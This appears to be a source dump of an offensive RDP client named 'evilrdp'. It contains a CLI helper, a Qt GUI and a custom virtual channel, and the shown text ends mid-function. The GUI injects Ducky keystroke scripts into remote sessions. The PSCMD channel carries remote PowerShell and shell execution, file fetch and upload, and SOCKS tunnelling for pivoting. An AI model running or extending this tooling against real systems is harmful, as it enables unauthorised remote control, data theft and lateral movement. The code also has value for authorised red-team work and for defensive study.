PromptSession(enable_history_search=True, key_bindings=self._get_bindings())\n        try:\n            with patch_stdout():\n                await self._run_prompt_forever()\n        finally:\n            if self._ignore_sigint and sys.platform != \"win32\":\n                asyncio.get_event_loop().remove_signal_handler(signal.SIGINT)\n            await self._on_close()\n\n    async def _run_prompt_forever(self):\n        while True:\n            try:\n                result = await self.session.prompt_async(self.prompt, completer=self.completer)\n            except EOFError:\n                return\n\n            if not result:\n                continue\n            args = shlex.split(result)\n            if args[0] in self.command_list:\n                try:\n                    self._currently_running_task = asyncio.ensure_future(\n                        self._run_single_command(args[0], args[1:]))\n                    await self._currently_running_task\n                except asyncio.CancelledError:\n                    print()\n                    continue\n                except ExitPromptException:\n                    return\n            else:\n                print(\"Command %s not found!\" % args[0])\n\n    def _sigint_handler(self):\n        if self._currently_running_task:\n            self._currently_running_task.cancel()\n\n    def _get_bindings(self):\n        bindings = KeyBindings()\n        bindings.add(\"c-c\")(lambda event: self._interrupt_handler(event))\n        return bindings\n\n    async def _run_single_command(self, command, args):\n        command_real_args, command_real_kwargs = self._get_command_args(command)\n        if len(args) < len(command_real_args) or len(args) > (len(command_real_args)\n                                                              + len(command_real_kwargs)):\n            print(\"Bad command args. Usage: %s\" % self._get_command_usage(command, command_real_args,\n                                                                          command_real_kwargs))\n            return\n\n        try:\n            com_func = self._get_command(command)\n            if asyncio.iscoroutinefunction(com_func):\n                await com_func(*args)\n            else:\n                com_func(*args)\n            return\n        except (ExitPromptException, asyncio.CancelledError):\n            raise\n        except Exception as ex:\n            traceback.print_exc()\n            print(\"Command failed: \", ex)\n\n    def _interrupt_handler(self, event):\n        event.cli.current_buffer.text = \"\"\n\n    def _make_completer(self):\n        return NestedCompleter({com: self._completer_for_command(com) for com in self.command_list})\n\n    def _completer_for_command(self, command):\n        if not hasattr(self, \"_%s_completions\" % command):\n            return WordCompleter([])\n        return getattr(self, \"_%s_completions\" % command)()\n\n    def _get_command(self, command):\n        if command in self.aliases:\n            command = self.aliases[command]\n        return getattr(self, self.ATTR_START + command)\n\n    def _get_command_args(self, command):\n        args = [param for param in inspect.signature(self._get_command(command)).parameters.values()\n                if param.default == param.empty]\n        kwargs = [param for param in inspect.signature(self._get_command(command)).parameters.values()\n                  if param.default != param.empty]\n        return args, kwargs\n\n    def _get_command_usage(self, command, args, kwargs):\n        return (\"%s %s %s\" % (command,\n                              \" \".join(\"<%s>\" % arg for arg in args),\n                              \" \".join(\"[%s]\" % kwarg for kwarg in kwargs),\n                              )).strip()\n\n    @property\n    def command_list(self):\n        return [attr[len(self.ATTR_START):]\n                for attr in dir(self) if attr.startswith(self.ATTR_START)] + list(self.aliases.keys())\n\n    def do_help(self):\n        print()\n        print(self.doc_header)\n        print(\"=\" * len(self.doc_header))\n        print()\n\n        get_usage = lambda command: self._get_command_usage(command, *self._get_command_args(command))\n        max_usage_len = max([len(get_usage(command)) for command in self.command_list])\n        for command in sorted(self.command_list):\n            command_doc = self._get_command(command).__doc__\n            print((\"%-\" + str(max_usage_len + 2) + \"s%s\") % (get_usage(command), command_doc or \"\"))\n\n    def do_quit(self):\n        \"\"\"Exit the prompt\"\"\"\n        raise ExitPromptException()\n\n    async def _on_close(self):\n        \"\"\"Optional hook to call on closing the cmd\"\"\"\n        pass\n"
  },
  {
    "path": "evilrdp/external/aiocmd/aiocmd/nested_completer.py",
    "content": "\"\"\"\nNestedcompleter for completion of hierarchical data structures.\n\"\"\"\nfrom typing import Dict, Iterable, Mapping, Optional, Set, Union\n\nfrom prompt_toolkit.completion import CompleteEvent, Completer, Completion\nfrom prompt_toolkit.completion.word_completer import WordCompleter\nfrom prompt_toolkit.document import Document\n\n__all__ = [\n    'NestedCompleter'\n]\n\nNestedDict = Mapping[str, Union['NestedDict', Set[str], None, Completer]]\n\n\nclass NestedCompleter(Completer):\n    \"\"\"\n    Completer which wraps around several other completers, and calls any the\n    one that corresponds with the first word of the input.\n    By combining multiple `NestedCompleter` instances, we can achieve multiple\n    hierarchical levels of autocompletion. This is useful when `WordCompleter`\n    is not sufficient.\n    If you need multiple levels, check out the `from_nested_dict` classmethod.\n    \"\"\"\n    def __init__(self, options: Dict[str, Optional[Completer]],\n                 ignore_case: bool = True) -> None:\n\n        self.options = options\n        self.ignore_case = ignore_case\n\n    def __repr__(self) -> str:\n        return 'NestedCompleter(%r, ignore_case=%r)' % (self.options, self.ignore_case)\n\n    @classmethod\n    def from_nested_dict(cls, data: NestedDict) -> 'NestedCompleter':\n        \"\"\"\n        Create a `NestedCompleter`, starting from a nested dictionary data\n        structure, like this:\n        .. code::\n            data = {\n                'show': {\n                    'version': None,\n                    'interfaces': None,\n                    'clock': None,\n                    'ip': {'interface': {'brief'}}\n                },\n                'exit': None\n                'enable': None\n            }\n        The value should be `None` if there is no further completion at some\n        point. If all values in the dictionary are None, it is also possible to\n        use a set instead.\n        Values in this data structure can be a completers as well.\n        \"\"\"\n        options = {}\n        for key, value in data.items():\n            if isinstance(value, Completer):\n                options[key] = value\n            elif isinstance(value, dict):\n                options[key] = cls.from_nested_dict(value)\n            elif isinstance(value, set):\n                options[key] = cls.from_nested_dict({item: None for item in value})\n            else:\n                assert value is None\n                options[key] = None\n\n        return cls(options)\n\n    def get_completions(self, document: Document,\n                        complete_event: CompleteEvent) -> Iterable[Completion]:\n        # Split document.\n        text = document.text_before_cursor.lstrip()\n\n        # If there is a space, check for the first term, and use a\n        # subcompleter.\n        if ' ' in text:\n            first_term = text.split()[0]\n            completer = self.options.get(first_term)\n\n            # If we have a sub completer, use this for the completions.\n            if completer is not None:\n                remaining_text = document.text[len(first_term):].lstrip()\n                move_cursor = len(document.text) - len(remaining_text)\n\n                new_document = Document(\n                    remaining_text,\n                    cursor_position=document.cursor_position - move_cursor)\n\n                for c in completer.get_completions(new_document, complete_event):\n                    yield c\n\n        # No space in the input: behave exactly like `WordCompleter`.\n        else:\n            completer = WordCompleter(list(self.options.keys()), ignore_case=self.ignore_case)\n            for c in completer.get_completions(document, complete_event):\n                yield c\n"
  },
  {
    "path": "evilrdp/external/aiocmd/docs/example.py",
    "content": "import asyncio\n\nfrom prompt_toolkit.completion import WordCompleter\n\nfrom aiocmd import aiocmd\n\n\nclass MyCLI(aiocmd.PromptToolkitCmd):\n\n    def __init__(self, my_name=\"My CLI\"):\n        super().__init__()\n        self.prompt = \"%s $ \" % my_name\n        self.aliases[\"nap\"] = \"sleep\"\n\n    def do_my_action(self):\n        \"\"\"This will appear in help text\"\"\"\n        print(\"You ran my action!\")\n\n    def do_add(self, x, y):\n        print(int(x) + int(y))\n\n    def do_echo(self, to_echo):\n        print(to_echo)\n\n    async def do_sleep(self, sleep_time=1):\n        await asyncio.sleep(int(sleep_time))\n\n    def _add_completions(self):\n        return WordCompleter([str(i) for i in range(9)])\n\n    def _sleep_completions(self):\n        return WordCompleter([str(i) for i in range(1, 60)])\n\n\nif __name__ == \"__main__\":\n    asyncio.get_event_loop().run_until_complete(MyCLI().run())\n"
  },
  {
    "path": "evilrdp/gui.py",
    "content": "import sys\nimport asyncio\nimport traceback\nimport queue\nimport threading\nimport time\n\nfrom aardwolf import logger\nfrom aardwolf.keyboard import VK_MODIFIERS\nfrom aardwolf.commons.factory import RDPConnectionFactory\nfrom aardwolf.commons.iosettings import RDPIOSettings\nfrom aardwolf.commons.queuedata import RDPDATATYPE\nfrom aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_SCANCODE, RDP_KEYBOARD_UNICODE\nfrom aardwolf.commons.queuedata.mouse import RDP_MOUSE\nfrom aardwolf.extensions.RDPECLIP.protocol.formatlist import CLIPBRD_FORMAT\nfrom aardwolf.commons.queuedata.clipboard import RDP_CLIPBOARD_DATA_TXT\nfrom aardwolf.commons.queuedata.constants import MOUSEBUTTON\nfrom aardwolf.commons.target import RDPConnectionDialect\n\nfrom evilrdp.consolehelper import EVILRDPConsole\nfrom PIL.ImageQt import ImageQt\n\n\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, qApp, QLabel\nfrom PyQt5.QtCore import QObject, pyqtSignal, pyqtSlot, QThread, Qt\nfrom PyQt5.QtGui import QPainter, QImage, QPixmap\n\nimport pyperclip\n\n\n# with the help of\n# https://gist.github.com/jazzycamel/8abd37bf2d60cce6e01d\n\nclass RDPClientConsoleSettings:\n\tdef __init__(self, url:str, iosettings:RDPIOSettings):\n\t\tself.mhover:int = True\n\t\tself.keyboard:int = True\n\t\tself.url:str = url\n\t\tself.iosettings:RDPIOSettings = iosettings\n\t\t# file path of the ducky file (if used)\n\t\tself.ducky_file = None\n\t\t# ducky script start delay, None means that typing will not start automatically\n\t\tself.ducky_autostart_delay = 5\n\nclass RDPImage:\n\tdef __init__(self,x,y,image,width,height):\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.image = image\n\t\tself.width = width\n\t\tself.height = height\n\nclass RDPInterfaceThread(QObject):\n\tresult=pyqtSignal(RDPImage)\n\tconnection_terminated=pyqtSignal()\n\t\n\tdef __init__(self, parent=None, **kwargs):\n\t\tsuper().__init__(parent, **kwargs)\n\t\tself.settings:RDPClientConsoleSettings = None\n\t\tself.conn = None\n\t\tself.consoletask = None\n\t\tself.input_evt = None\n\t\tself.in_q = None\n\t\tself.loop_started_evt = threading.Event()\n\t\tself.gui_stopped_evt = threading.Event()\n\t\tself.input_handler_thread = None\n\t\tself.asyncthread:threading.Thread = None\n\t\n\tdef set_settings(self, settings, in_q):\n\t\tself.settings = settings\n\t\tself.in_q = in_q\n\n\tdef inputhandler(self, loop:asyncio.AbstractEventLoop):\n\t\twhile not self.conn.disconnected_evt.is_set():\n\t\t\tdata = self.in_q.get()\n\t\t\tloop.call_soon_threadsafe(self.conn.ext_in_queue.put_nowait, data)\n\t\t\tif data is None:\n\t\t\t\tbreak\n\t\tlogger.debug('inputhandler terminating')\n\n\tasync def ducky_keyboard_sender(self, scancode, is_pressed, as_char = False):\n\t\t### Callback function for the duckyexecutor to dispatch scancodes/characters to the remote end\n\t\ttry:\n\t\t\t#print('SCANCODE: %s' % scancode)\n\t\t\t#print('is_pressed: %s' % is_pressed)\n\t\t\t#print('as_char: %s' % as_char)\n\t\t\tif as_char is False:\n\t\t\t\tki = RDP_KEYBOARD_SCANCODE()\n\t\t\t\tki.keyCode = scancode\n\t\t\t\tki.is_pressed = is_pressed\n\t\t\t\tki.modifiers = VK_MODIFIERS(0)\n\t\t\t\tawait self.conn.ext_in_queue.put(ki)\n\t\t\telse:\n\t\t\t\tki = RDP_KEYBOARD_UNICODE()\n\t\t\t\tki.char = scancode\n\t\t\t\tki.is_pressed = is_pressed\n\t\t\t\tawait self.conn.ext_in_queue.put(ki)\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\n\tasync def ducky_exec(self, bypass_delay = False):\n\t\ttry:\n\t\t\tif self.settings.ducky_file is None:\n\t\t\t\treturn\n\t\t\tfrom aardwolf.keyboard.layoutmanager import KeyboardLayoutManager\n\t\t\tfrom aardwolf.utils.ducky import DuckyExecutorBase, DuckyReaderFile\n\t\t\tif bypass_delay is False:\n\t\t\t\tif self.settings.ducky_autostart_delay is not None:\n\t\t\t\t\tawait asyncio.sleep(self.settings.ducky_autostart_delay)\n\t\t\t\telse:\n\t\t\t\t\treturn\n\t\t\t\n\t\t\tlayout = KeyboardLayoutManager().get_layout_by_shortname(self.settings.iosettings.client_keyboard)\n\t\t\texecutor = DuckyExecutorBase(layout, self.ducky_keyboard_sender, send_as_char = True if self.conn.target.dialect == RDPConnectionDialect.VNC else False)\n\t\t\treader = DuckyReaderFile.from_file(self.settings.ducky_file, executor)\n\t\t\tawait reader.parse()\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\t\n\tasync def rdpconnection(self):\n\t\tinput_handler_thread = None\n\n\t\ttry:\n\t\t\trdpurl = RDPConnectionFactory.from_url(self.settings.url, self.settings.iosettings)\n\t\t\tself.conn = rdpurl.get_connection(self.settings.iosettings)\n\t\t\t_, err = await self.conn.connect()\n\t\t\tif err is not None:\n\t\t\t\traise err\n\n\t\t\tself.consoletask = asyncio.create_task(EVILRDPConsole(self.conn).run())\n\t\t\t#asyncio.create_task(self.inputhandler())\n\t\t\tinput_handler_thread = asyncio.get_event_loop().run_in_executor(None, self.inputhandler, asyncio.get_event_loop())\n\t\t\tself.loop_started_evt.set()\n\t\t\tif self.settings.ducky_file is not None:\n\t\t\t\tx = asyncio.create_task(self.ducky_exec())\n\t\t\twhile not self.gui_stopped_evt.is_set():\n\t\t\t\tdata = await self.conn.ext_out_queue.get()\n\t\t\t\tif data is None:\n\t\t\t\t\treturn\n\t\t\t\tif data.type == RDPDATATYPE.VIDEO:\n\t\t\t\t\tri = RDPImage(data.x, data.y, data.data, data.width, data.height)\n\t\t\t\t\tif not self.gui_stopped_evt.is_set():\n\t\t\t\t\t\tself.result.emit(ri)\n\t\t\t\t\telse:\n\t\t\t\t\t\treturn\n\t\t\t\telif data.type == RDPDATATYPE.CLIPBOARD_READY:\n\t\t\t\t\tcontinue\n\t\t\t\telif data.type == RDPDATATYPE.CLIPBOARD_NEW_DATA_AVAILABLE:\n\t\t\t\t\tcontinue\n\t\t\t\telif data.type == RDPDATATYPE.CLIPBOARD_CONSUMED:\n\t\t\t\t\tcontinue\n\t\t\t\telif data.type == RDPDATATYPE.CLIPBOARD_DATA_TXT:\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tlogger.debug('Unknown incoming data: %s'% data)\n\n\t\texcept asyncio.CancelledError:\n\t\t\treturn\n\t\t\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\t\tfinally:\n\t\t\tif self.conn is not None:\n\t\t\t\tawait self.conn.terminate()\n\t\t\tif input_handler_thread is not None:\n\t\t\t\tinput_handler_thread.cancel()\n\t\t\tif not self.gui_stopped_evt.is_set():\n\t\t\t\tself.connection_terminated.emit()\n\n\tdef starter(self):\n\t\tself.loop = asyncio.new_event_loop()\n\t\tasyncio.set_event_loop(self.loop)\n\t\ttry:\n\t\t\tself.rdp_connection_task = self.loop.create_task(self.rdpconnection())\n\t\t\tself.loop.run_until_complete(self.rdp_connection_task)\n\t\t\tself.loop.close()\n\t\texcept Exception as e:\n\t\t\tpass\n\t\t\t\n\t\n\t@pyqtSlot()\n\tdef start(self):\n\t\t# creating separate thread for async otherwise this will not return\n\t\t# and then there will be no events sent back from application\n\t\tself.asyncthread = threading.Thread(target=self.starter, args=())\n\t\tself.asyncthread.start()\n\t\n\t@pyqtSlot()\n\tdef stop(self):\n\t\tself.gui_stopped_evt.set()\n\t\tif self.conn is not None and self.loop.is_running():\n\t\t\ttry:\n\t\t\t\tasyncio.run_coroutine_threadsafe(self.conn.terminate(), self.loop)\n\t\t\texcept:\n\t\t\t\tpass\n\t\ttime.sleep(0.1) # waiting connection to terminate\n\t\tself.rdp_connection_task.cancel()\n\t\tself.loop.stop()\n\t\n\t@pyqtSlot()\n\tdef startducky(self):\n\t\ttime.sleep(0.1) # waiting for keyboard flush\n\t\tasyncio.run_coroutine_threadsafe(self.ducky_exec(bypass_delay = True), self.loop)\n\n\nclass EvilRDPGUI(QMainWindow):\n\t#inputevent=pyqtSignal()\n\n\tdef __init__(self, settings:RDPClientConsoleSettings):\n\t\tsuper().__init__()\n\t\tself.settings = settings\n\t\tself.ducky_key_ctr = 0\n\n\t\t# enabling this will singificantly increase the bandwith\n\t\tself.mhover = settings.mhover\n\t\t# enabling keyboard tracking\n\t\tself.keyboard = settings.keyboard\n\t\tself.is_rdp = True if settings.url.lower().startswith('rdp') is True else False\n\n\t\t# setting up the main window with the requested resolution\n\t\tself.setGeometry(0, 0, self.settings.iosettings.video_width, self.settings.iosettings.video_height)\n\t\t# this buffer will hold the current frame and will be contantly updated\n\t\t# as new rectangle info comes in from the server\n\t\tself._buffer = QImage(self.settings.iosettings.video_width, self.settings.iosettings.video_height, QImage.Format_RGB32)\n\t\t\n\t\t\n\t\t# setting up worker thread in a qthread\n\t\t# the worker recieves the video updates from the connection object\n\t\t# and then dispatches it to updateImage\n\t\t# this is needed as the RDPConnection class uses async queues\n\t\t# and QT is not async so an interface between the two worlds\n\t\t# had to be created\n\t\tself.in_q = queue.Queue()\n\t\tself._thread=QThread()\n\t\tself._threaded=RDPInterfaceThread(result=self.updateImage, connection_terminated=self.connectionClosed)\n\t\tself._threaded.set_settings(self.settings, self.in_q)\n\t\tself._thread.started.connect(self._threaded.start)\n\t\tself._threaded.moveToThread(self._thread)\n\t\tqApp.aboutToQuit.connect(self._thread.quit)\n\t\tself._thread.start()\n\n\t\t# setting up the canvas (qlabel) which will display the image data\n\t\tself._label_imageDisplay = QLabel()\n\t\tself._label_imageDisplay.setFixedSize(self.settings.iosettings.video_width, self.settings.iosettings.video_height)\n\t\t\n\t\tself.setCentralWidget(self._label_imageDisplay)\n\t\t\n\t\t# enabling mouse tracking\n\t\tself.setMouseTracking(True)\n\t\tself._label_imageDisplay.setMouseTracking(True)\n\t\tself.__extended_rdp_keys = {\n\t\t\tQt.Key_End : 'VK_END', \n\t\t\tQt.Key_Down : 'VK_DOWN', \n\t\t\tQt.Key_PageDown : 'VK_NEXT', \n\t\t\tQt.Key_Insert : 'VK_INSERT', \n\t\t\tQt.Key_Delete : 'VK_DELETE', \n\t\t\tQt.Key_Print : 'VK_SNAPSHOT',\n\t\t\tQt.Key_Home : 'VK_HOME', \n\t\t\tQt.Key_Up : 'VK_UP', \n\t\t\tQt.Key_PageUp : 'VK_PRIOR', \n\t\t\tQt.Key_Left : 'VK_LEFT',\n\t\t\tQt.Key_Right : 'VK_RIGHT',\n\t\t\tQt.Key_Meta : 'VK_LWIN',\n\t\t\tQt.Key_Enter : 'VK_RETURN',\n\t\t\tQt.Key_Menu : 'VK_LMENU',\n\t\t\tQt.Key_Pause : 'VK_PAUSE',\n\t\t\tQt.Key_Slash: 'VK_DIVIDE',\n\t\t\tQt.Key_Period: 'VK_DECIMAL',\n\n\t\t\t#Qt.Key_Shift: 'VK_LSHIFT',\n\t\t\t#Qt.Key_Tab: 'VK_TAB',\n\t\t\t#Qt.Key_0 : 'VK_NUMPAD0',\n\t\t\t#Qt.Key_1 : 'VK_NUMPAD1',\n\t\t\t#Qt.Key_2 : 'VK_NUMPAD2',\n\t\t\t#Qt.Key_3 : 'VK_NUMPAD3',\n\t\t\t#Qt.Key_4 : 'VK_NUMPAD4',\n\t\t\t#Qt.Key_5 : 'VK_NUMPAD5',\n\t\t\t#Qt.Key_6 : 'VK_NUMPAD6',\n\t\t\t#Qt.Key_7 : 'VK_NUMPAD7',\n\t\t\t#Qt.Key_8 : 'VK_NUMPAD8',\n\t\t\t#Qt.Key_9 : 'VK_NUMPAD9',\n\t\t}\n\n\t\tself.__qtbutton_to_rdp = {\n\t\t\tQt.LeftButton   : MOUSEBUTTON.MOUSEBUTTON_LEFT,\n\t\t\tQt.RightButton  : MOUSEBUTTON.MOUSEBUTTON_RIGHT,\n\t\t\tQt.MidButton    : MOUSEBUTTON.MOUSEBUTTON_MIDDLE,\n\t\t\tQt.ExtraButton1 : MOUSEBUTTON.MOUSEBUTTON_5,\n\t\t\tQt.ExtraButton2 : MOUSEBUTTON.MOUSEBUTTON_6,\n\t\t\tQt.ExtraButton3 : MOUSEBUTTON.MOUSEBUTTON_7,\n\t\t\tQt.ExtraButton4 : MOUSEBUTTON.MOUSEBUTTON_8,\n\t\t\tQt.ExtraButton5 : MOUSEBUTTON.MOUSEBUTTON_9,\n\t\t\tQt.ExtraButton6 : MOUSEBUTTON.MOUSEBUTTON_10,\n\t\t}\n\t\n\tdef closeEvent(self, event):\n\t\tself.connectionClosed()\n\t\tevent.accept()\n\t\n\tdef connectionClosed(self):\n\t\tself.in_q.put(None)\n\t\tself._threaded.stop()\n\t\tself._thread.quit()\n\t\tself.close()\n\t\n\tdef updateImage(self, event):\n\t\trect = ImageQt(event.image)\n\t\tif event.width == self.settings.iosettings.video_width and event.height == self.settings.iosettings.video_height:\n\t\t\tself._buffer = rect\n\t\telse:\n\t\t\twith QPainter(self._buffer) as qp:\n\t\t\t\tqp.drawImage(event.x, event.y, rect, 0, 0, event.width, event.height)\n\t\t\n\t\tpixmap01 = QPixmap.fromImage(self._buffer)\n\t\tpixmap_image = QPixmap(pixmap01)\n\t\tself._label_imageDisplay.setPixmap(pixmap_image)\n\t\tself._label_imageDisplay.setAlignment(Qt.AlignCenter)\n\t\tself._label_imageDisplay.setScaledContents(True)\n\t\tself._label_imageDisplay.setMinimumSize(1,1)\n\t\tself._label_imageDisplay.show()\n\t\n\t## this is for testing!\n\t#def keyevent_to_string(self, event):\n\t#\tkeymap = {}\n\t#\tfor key, value in vars(Qt).items():\n\t#\t\tif isinstance(value, Qt.Key):\n\t#\t\t\tkeymap[value] = key.partition('_')[2]\n\t#\tmodmap = {\n\t#\t\tQt.ControlModifier: keymap[Qt.Key_Control],\n\t#\t\tQt.AltModifier: keymap[Qt.Key_Alt],\n\t#\t\tQt.ShiftModifier: keymap[Qt.Key_Shift],\n\t#\t\tQt.MetaModifier: keymap[Qt.Key_Meta],\n\t#\t\tQt.GroupSwitchModifier: keymap[Qt.Key_AltGr],\n\t#\t\tQt.KeypadModifier: keymap[Qt.Key_NumLock],\n\t#\t\t}\n\t#\tsequence = []\n\t#\tfor modifier, text in modmap.items():\n\t#\t\tif event.modifiers() & modifier:\n\t#\t\t\tsequence.append(text)\n\t#\tkey = keymap.get(event.key(), event.text())\n\t#\tif key not in sequence:\n\t#\t\tsequence.append(key)\n\t#\treturn '+'.join(sequence)\n\n\tdef send_key(self, e, is_pressed):\n\t\t# https://doc.qt.io/qt-5/qt.html#Key-enum\n\t\t\n\t\t# ducky script starter\n\t\tif is_pressed is True:\n\t\t\tif e.key()==Qt.Key_Escape:\n\t\t\t\tself.ducky_key_ctr += 1\n\t\t\t\tif self.ducky_key_ctr == 3:\n\t\t\t\t\tself.ducky_key_ctr = 0\n\t\t\t\t\tself._threaded.startducky()\n\t\t\telse:\n\t\t\t\tself.ducky_key_ctr = 0\n\n\t\tif self.keyboard is False:\n\t\t\treturn\n\t\t#print(self.keyevent_to_string(e))\n\n\t\tif e.key()==(Qt.Key_Control and Qt.Key_V):\n\t\t\tki = RDP_CLIPBOARD_DATA_TXT()\n\t\t\tki.datatype = CLIPBRD_FORMAT.CF_UNICODETEXT\n\t\t\tki.data = pyperclip.paste()\n\t\t\tself.in_q.put(ki)\n\t\t\n\t\tmodifiers = VK_MODIFIERS(0)\n\t\tqt_modifiers = QApplication.keyboardModifiers()\n\t\tif bool(qt_modifiers & Qt.ShiftModifier) is True and e.key() != Qt.Key_Shift:\n\t\t\tmodifiers |= VK_MODIFIERS.VK_SHIFT\n\t\tif bool(qt_modifiers & Qt.ControlModifier) is True and e.key() != Qt.Key_Control:\n\t\t\tmodifiers |= VK_MODIFIERS.VK_CONTROL\n\t\tif bool(qt_modifiers & Qt.AltModifier) is True and e.key() != Qt.Key_Alt:\n\t\t\tmodifiers |= VK_MODIFIERS.VK_MENU\n\t\tif bool(qt_modifiers & Qt.KeypadModifier) is True and e.key() != Qt.Key_NumLock:\n\t\t\tmodifiers |= VK_MODIFIERS.VK_NUMLOCK\n\t\tif bool(qt_modifiers & Qt.MetaModifier) is True and e.key() != Qt.Key_Meta:\n\t\t\tmodifiers |= VK_MODIFIERS.VK_WIN\n\n\t\tki = RDP_KEYBOARD_SCANCODE()\n\t\tki.keyCode = e.nativeScanCode()\n\t\tki.is_pressed = is_pressed\n\t\tif sys.platform == \"linux\":\n\t\t\t#why tho?\n\t\t\tki.keyCode -= 8\n\t\tki.modifiers = modifiers\n\n\t\tif e.key() in self.__extended_rdp_keys.keys():\n\t\t\tki.vk_code = self.__extended_rdp_keys[e.key()]\n\n\t\t#print('SCANCODE: %s' % ki.keyCode)\n\t\t#print('VK CODE : %s' % ki.vk_code)\n\t\t#print('TEXT    : %s' % repr(e.text()))\n\t\tself.in_q.put(ki)\n\n\tdef send_mouse(self, e, is_pressed, is_hover = False):\n\t\tif is_hover is True and self.settings.mhover is False:\n\t\t\t# is hovering is disabled we return immediately\n\t\t\treturn\n\t\tbuttonNumber = MOUSEBUTTON.MOUSEBUTTON_HOVER\n\t\tif is_hover is False:\n\t\t\tbuttonNumber = self.__qtbutton_to_rdp[e.button()]\n\n\t\tmi = RDP_MOUSE()\n\t\tmi.xPos = e.pos().x()\n\t\tmi.yPos = e.pos().y()\n\t\tmi.button = buttonNumber\n\t\tmi.is_pressed = is_pressed if is_hover is False else False\n\n\t\tself.in_q.put(mi)\n\t\n\tdef keyPressEvent(self, e):\n\t\tself.send_key(e, True)\n\n\tdef keyReleaseEvent(self, e):\n\t\tself.send_key(e, False)\n\t\n\tdef mouseMoveEvent(self, e):\n\t\tself.send_mouse(e, False, True)\n\n\tdef mouseReleaseEvent(self, e):\n\t\tself.send_mouse(e, False)\n\n\tdef mousePressEvent(self, e):\n\t\tself.send_mouse(e, True)\n\t\n"
  },
  {
    "path": "evilrdp/vchannels/__init__.py",
    "content": ""
  },
  {
    "path": "evilrdp/vchannels/pscmd/__init__.py",
    "content": "import io\nimport enum\nimport os\nimport asyncio\nfrom typing import Dict\nfrom aardwolf.extensions.RDPEDYC.vchannels import VirtualChannelBase\nfrom asysocks.protocol.socks5 import SOCKS5Method, SOCKS5NegoReply, \\\n\tSOCKS5Request, SOCKS5Command, SOCKS5ReplyType, SOCKS5Reply\n\nclass PSCMD(enum.Enum):\n\tOK = 0\n\tERR = 1\n\tCONTINUE = 2\n\tPS = 20\n\tGETFILE = 21\n\tPUTFILE = 22\n\tFILEDATA = 23\n\tSHELL = 24\n\tSHELLDATA = 25\n\tSOCKETOPEN = 26\n\tSOCKETDATA = 27\n\nclass PSCMDMessage:\n\tdef __init__(self, command: PSCMD ,data:bytes, token:bytes = None, length:int = None):\n\t\tself.length = length\n\t\tself.token = token\n\t\tself.command = command\n\t\tself.data = data\n\n\tdef to_bytes(self):\n\t\tif self.token is None:\n\t\t\tself.token = os.urandom(16)\n\t\tif self.length is None:\n\t\t\tself.length = len(self.data) + 24\n\t\tt = self.length.to_bytes(4, byteorder='little', signed=False)\n\t\tt += self.token\n\t\tt += self.command.value.to_bytes(4, byteorder='little', signed=False)\n\t\tt += self.data\n\t\treturn t\n\n\t@staticmethod\n\tdef from_bytes(data:bytes):\n\t\treturn PSCMDMessage.from_buffer(io.BytesIO(data))\n\t\n\t@staticmethod\n\tdef from_buffer(buff:io.BytesIO):\n\t\tlength = int.from_bytes(buff.read(4), byteorder='little', signed=False)\n\t\ttoken = buff.read(16)\n\t\tcommand = PSCMD(int.from_bytes(buff.read(4), byteorder='little', signed=False))\n\t\tdata = buff.read(length-24)\n\t\treturn PSCMDMessage(command, data, token, length)\n\t\n\tdef __str__(self):\n\t\tt = ''\n\t\tfor k in self.__dict__:\n\t\t\tt += '%s: %s\\r\\n' % (k, self.__dict__[k])\n\t\treturn t\n\nclass PSCMDChannel(VirtualChannelBase):\n\tdef __init__(self, channelname):\n\t\tVirtualChannelBase.__init__(self, channelname)\n\t\tself.channel_active_evt = asyncio.Event()\n\t\tself.__socksserver = None\n\t\tself.__channels:Dict[bytes, asyncio.Queue[PSCMDMessage]] = {} # token -> Qeue\n\t\tself.__proxytasks = []\n\n\tasync def channel_init(self):\n\t\tprint('Channel init called!')\n\t\tself.channel_active_evt.set()\n\t\tfor token in self.__channels:\n\t\t\tawait self.__channels[token].put(PSCMDMessage(PSCMD.ERR, b'', token))\n\t\treturn True, None\n\n\tasync def channel_data_in(self, data:bytes):\n\t\ttry:\n\t\t\t#print('DATA IN: %s' % data)\n\t\t\tmsg = PSCMDMessage.from_bytes(data)\n\t\t\tif msg.token not in self.__channels:\n\t\t\t\tprint('Message arrived from server with unknown token!')\n\t\t\t\treturn\n\t\t\tawait self.__channels[msg.token].put(msg)\n\t\texcept Exception as e:\n\t\t\tprint('Error! %s' % e)\n\t\t\treturn\n\n\tasync def channel_closed(self):\n\t\tprint('Channel closed!')\n\t\tself.channel_active_evt = asyncio.Event()\n\t\tif self.__socksserver is not None:\n\t\t\tself.__socksserver.close()\n\t\t\tself.__socksserver = None\n\t\t\n\n\tasync def sendcmd(self, cmd:PSCMDMessage):\n\t\tif cmd.token is None:\n\t\t\tcmd.token = os.urandom(16)\n\t\tself.__channels[cmd.token] = asyncio.Queue()\n\t\tawait self.channel_data_out(cmd.to_bytes())\n\t\treturn cmd.token\n\n\tasync def sendrcv_pscmd(self, ps):\n\t\tcmd = PSCMDMessage(PSCMD.PS, ps.encode())\n\t\ttoken = await self.sendcmd(cmd)\n\t\tfor _ in range(1):\n\t\t\tmsg = await self.__channels[token].get()\n\t\t\treturn msg.data.decode()\n\n\tasync def sendrcv_getfile(self, filepath):\n\t\tcmd = PSCMDMessage(PSCMD.GETFILE, filepath.encode())\n\t\ttoken = await self.sendcmd(cmd)\n\t\twhile True:\n\t\t\tmsg = await self.__channels[token].get()\n\t\t\tif msg.command == PSCMD.OK:\n\t\t\t\tbreak\n\t\t\telif msg.command == PSCMD.ERR:\n\t\t\t\traise Exception('File read error!')\n\t\t\telif msg.command == PSCMD.FILEDATA:\n\t\t\t\tyield msg.data.decode()\n\t\t\telse:\n\t\t\t\traise Exception('Unexpected reply type %s' % msg.command)\n\t\n\tasync def sendrcv_shellexec(self, command):\n\t\tcmd = PSCMDMessage(PSCMD.SHELL, command.encode())\n\t\ttoken = await self.sendcmd(cmd)\n\t\twhile True:\n\t\t\tmsg = await self.__channels[token].get()\n\t\t\tif msg.command == PSCMD.OK:\n\t\t\t\tbreak\n\t\t\telif msg.command == PSCMD.ERR:\n\t\t\t\traise Exception('Shell exec error!')\n\t\t\telif msg.command == PSCMD.SHELLDATA:\n\t\t\t\tstderr_or_stout = 